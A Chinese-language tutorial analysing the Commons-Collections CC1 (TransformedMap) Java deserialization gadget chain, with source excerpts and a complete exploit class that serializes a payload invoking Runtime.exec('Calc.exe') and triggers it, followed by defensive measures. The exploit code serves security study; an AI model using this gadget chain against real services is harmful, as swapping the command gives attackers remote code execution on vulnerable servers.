java反序列化之cc1链 TransformedMap版
字数 1810 2025-08-30 06:50:12
Java反序列化漏洞分析:CC1链TransformedMap版
一、前置知识
1. 序列化与反序列化
序列化:将Java对象转换为字节序列(byte[]),用于保存到磁盘或通过网络传输。
序列化注意事项:
- 必须实现
Serializable接口 - 被
transient修饰的属性不会被序列化
示例代码:
import java.io.*;
class User implements Serializable {
String name;
int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
public class SerializeDemo {
public static void main(String[] args) throws Exception {
User user = new User("Alice", 23);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.ser"));
out.writeObject(user);
out.close();
System.out.println("对象已序列化");
}
}
反序列化:将序列化后的字节序列转换回Java对象的过程。
示例代码:
public class DeserializeDemo {
public static void main(String[] args) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.ser"));
User user = (User) in.readObject(); // 反序列化过程
in.close();
System.out.println("对象已反序列化");
System.out.println("姓名: " + user.name);
System.out.println("年龄: " + user.age);
}
}
二、环境准备
- JDK版本:jdk8u65
- Maven版本:3.6.3
- Commons-Collections版本:3.2.1
注意:高版本JDK和Commons-Collections已修复此漏洞。
三、关键Transformer类分析
1. InvokerTransformer类
反射执行的核心类,是漏洞利用链的起点。
构造函数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
transform方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
2. ConstantTransformer类
构造函数:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
transform方法:
public Object transform(Object input) {
return this.iConstant;
}
3. ChainedTransformer类
构造函数:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
transform方法:
public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; i++) {
object = this.iTransformers[i].transform(object);
}
return object;
}
四、漏洞利用链构建
1. 基本思路
从InvokerTransformer的transform方法出发,寻找调用链:
- 寻找调用
transform方法的地方 - 寻找可以传入
InvokerTransformer作为参数的点 - 最终找到
readObject反序列化入口
2. TransformedMap利用
TransformedMap的checkSetValue方法调用了transform方法:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
valueTransformer通过构造函数传入:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
通过decorate静态方法创建TransformedMap:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
checkSetValue被AbstractInputCheckedMapDecorator.MapEntry.setValue调用:
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
3. AnnotationInvocationHandler利用
AnnotationInvocationHandler的readObject方法中调用了setValue方法:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
// ...
for (Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var2.memberTypes().get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
五、完整利用链构建
1. 解决Runtime类不可序列化问题
Runtime类未实现Serializable接口,改用Runtime.class(Class对象实现了Serializable)。
2. 构建ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"Calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
3. 构造完整利用链
public class TransTest3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"Calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exp = cst.newInstance(Target.class, outermap);
// 序列化
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exp);
oos.close();
// 反序列化触发
FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();
}
}
4. 关键点说明
- 使用
Target.class作为注解类型,因为它有value属性 innermap.put("value", "value")确保能通过memberTypes.get(name)检查TransformedMap.decorate创建包含恶意Transformer的Map- 通过反射创建
AnnotationInvocationHandler实例
六、漏洞利用链流程总结
- 反序列化触发
AnnotationInvocationHandler.readObject readObject中遍历memberValues并调用setValuesetValue调用TransformedMap.checkSetValuecheckSetValue调用ChainedTransformer.transformChainedTransformer依次执行:ConstantTransformer返回Runtime.classInvokerTransformer调用getMethod("getRuntime")InvokerTransformer调用invoke(null)获取Runtime实例InvokerTransformer调用exec("Calc.exe")执行命令
七、防御措施
- 升级Commons-Collections到安全版本
- 使用JDK高版本(已修复此漏洞)
- 对反序列化操作进行白名单控制
- 使用安全框架如SerialKiller进行防护
八、学习建议
- 使用调试工具逐步跟踪调用链
- 重点关注
transform和readObject方法的调用关系 - 理解Java反射机制和动态代理
- 研究其他反序列化漏洞利用链(如CC6、CC7等)